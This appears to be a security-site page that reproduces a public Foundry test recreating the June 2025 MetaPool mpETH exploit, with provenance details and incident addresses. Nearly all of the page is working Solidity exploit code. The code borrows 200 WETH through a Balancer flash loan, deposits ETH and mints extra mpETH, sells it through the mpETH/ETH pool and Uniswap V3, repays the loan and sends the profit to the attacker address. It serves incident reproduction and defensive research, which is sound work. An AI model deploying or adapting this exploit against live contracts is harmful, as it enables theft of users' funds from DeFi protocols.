Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/MetaPool_exp.sol

Public reproduction file for dataset entry MetaPool.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/MetaPool_exp.sol150 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 25k USD
8// Attacker : https://etherscan.io/address/0x48f1d0f5831eb6e544f8cbde777b527b87a1be98
9// Attack Contract : https://etherscan.io/address/0xff13d5899aa7d84c10e4cd6fb030b80554424136
10// Created Attack Contract: https://etherscan.io/address/0xC3D10bd8e051a2bE6408d18Be8464654F699a25a
11// Vulnerable Contract : https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710
12// Attack Tx : https://etherscan.io/tx/0x57ee419a001d85085478d04dd2a73daa91175b1d7c11d8a8fb5622c56fd1fa69
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710#code
17// @Analysis
18// Post-mortem : https://www.coindesk.com/business/2025/06/17/liquid-staking-protocol-meta-pool-suffers-usd27m-exploit
19// Twitter Guy : https://x.com/peckshield/status/1934895187102454206
20// Hacking God : N/A
21pragma solidity ^0.8.0;
23address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
24address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
25address constant MPETH_ADDR = 0x48AFbBd342F64EF8a9Ab1C143719b63C2AD81710;
26address constant MPETH_TO_ETH_POOL = 0xdF261F967E87B2aa44e18a22f4aCE5d7f74f03Cc;
27address constant UNISWAP_V3_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
29contract MetaPool is BaseTestWithBalanceLog {
30 uint256 blocknumToForkFrom = 22722911 - 1;
32 function setUp() public {
33 vm.createSelectFork("mainnet", blocknumToForkFrom);
34 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
35 fundingToken = address(0);
36 }
38 function testExploit() public balanceLog {
39 //implement exploit code here
40 MetaPoolExploit exploit = new MetaPoolExploit();
41 exploit.start();
43 uint256 amount = IMpEth(MPETH_ADDR).balanceOf(address(this));
44 console.log("Attacker mpETH balance After exploit: ", amount);
45 }
47 receive() external payable {}
50contract MetaPoolExploit {
51 address attacker;
52 constructor() {
53 attacker = msg.sender;
54 }
55 function start() external {
56 // Step 1: borrow 200 weth
57 address[] memory tokens = new address[](1);
58 tokens[0] = WETH_ADDR;
59 uint256[] memory amounts = new uint256[](1);
60 amounts[0] = 200 ether;
61 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
62 }
64 function receiveFlashLoan(
65 address[] memory tokens,
66 uint256[] memory amounts,
67 uint256[] memory feeAmounts,
68 bytes memory data
69 ) public {
70 IWETH weth = IWETH(payable(WETH_ADDR));
71 IMpEth mpEth = IMpEth(MPETH_ADDR);
72 IMpEthPool mpEthPool = IMpEthPool(MPETH_TO_ETH_POOL);
73 IV3SwapRouter v3SwapRouter = IV3SwapRouter(UNISWAP_V3_ROUTER);
75 // Step 2: convert 107 weth to eth
76 weth.withdraw(107 ether);
78 // Step 3: convert 107 eth to ~97 mpeth
79 uint256 amount = mpEth.depositETH{value: 107 ether}(address(this));
80 mpEth.mint(amount, address(this));
81 // 97,019,503,948,141,950,925 mpETH
83 // Step 4: swap mpETH for ETH from mpETH / ETH pool
84 mpEth.approve(MPETH_TO_ETH_POOL, type(uint256).max);
85 mpEthPool.swapmpETHforETH(97 ether, 0);
86 // ~96.36 eth
87 mpEthPool.swapmpETHforETH(9.6 ether, 0);
88 // ~9.64 eth
90 // Step 5: swap mpETH for ETH from Uniswap V3 Router
91 mpEth.approve(UNISWAP_V3_ROUTER, 1_000_000_000 ether);
92 IV3SwapRouter.ExactInputSingleParams memory _params = IV3SwapRouter.ExactInputSingleParams({
93 tokenIn: MPETH_ADDR,
94 tokenOut: WETH_ADDR,
95 fee: 100,
96 recipient: address(this),
97 amountIn: 10 ether,
98 amountOutMinimum: 0,
99 sqrtPriceLimitX96: 0
100 });
101 v3SwapRouter.exactInputSingle(_params);
102 // 9999023359504975714
104 // Step 6: ETH -> WETH
105 uint256 ethBalance = address(this).balance;
106 weth.deposit{value: ethBalance}();
108 // Step 7: repay flash loan
109 IWETH(payable(WETH_ADDR)).transfer(BALANCER_VAULT, 200 ether);
111 // Step 8: WETH -> ETH
112 uint256 wethBalance = IWETH(payable(WETH_ADDR)).balanceOf(address(this));
113 IWETH(payable(WETH_ADDR)).withdraw(wethBalance);
115 // Step 9: send ETH to attacker
116 ethBalance = address(this).balance;
117 payable(attacker).call{value: ethBalance}("");
118 // 8.98 eth
120 // Step 10: send mpETH to attacker
121 uint256 mpEthBalance = IMpEth(MPETH_ADDR).balanceOf(address(this));
122 IMpEth(MPETH_ADDR).transfer(attacker, mpEthBalance);
123 }
125 receive() external payable {}
128interface IMpEth is IERC20 {
129 function depositETH(address receiver) external payable returns (uint256);
130 function mint(uint256 shares, address receiver) external;
133interface IMpEthPool {
134 function swapmpETHforETH(uint256 amount, uint256 minAmountOut) external;
137interface IV3SwapRouter {
138 struct ExactInputSingleParams {
139 address tokenIn;
140 address tokenOut;
141 uint24 fee;
142 address recipient;
143 uint256 amountIn;
144 uint256 amountOutMinimum;
145 uint160 sqrtPriceLimitX96;
146 }
147 function exactInputSingle(
148 ExactInputSingleParams calldata params
149 ) external payable returns (uint256);

Analysis

Dataset entry

Public Foundry test for “MetaPool” (2025-06-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x48f1d0f5831eb6e544f8cbde777b527b87a1be98

  • Attack Contract

    0xff13d5899aa7d84c10e4cd6fb030b80554424136

  • Vulnerable Contract

    0x48afbbd342f64ef8a9ab1c143719b63c2ad81710

  • Attack Tx

    0x57ee419a001d85085478d04dd2a73daa91175b1d7c11d8a8fb5622c56fd1fa69

File record

Name
MetaPool
Path
src/test/2025-06/MetaPool_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6d080372f2cfeb1cfa909fefc777beada41aab81
Language
Solidity
Size
151 lines
Date
2025-06-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/MetaPool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6d080372f2cfeb1cfa909fefc777beada41aab81, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.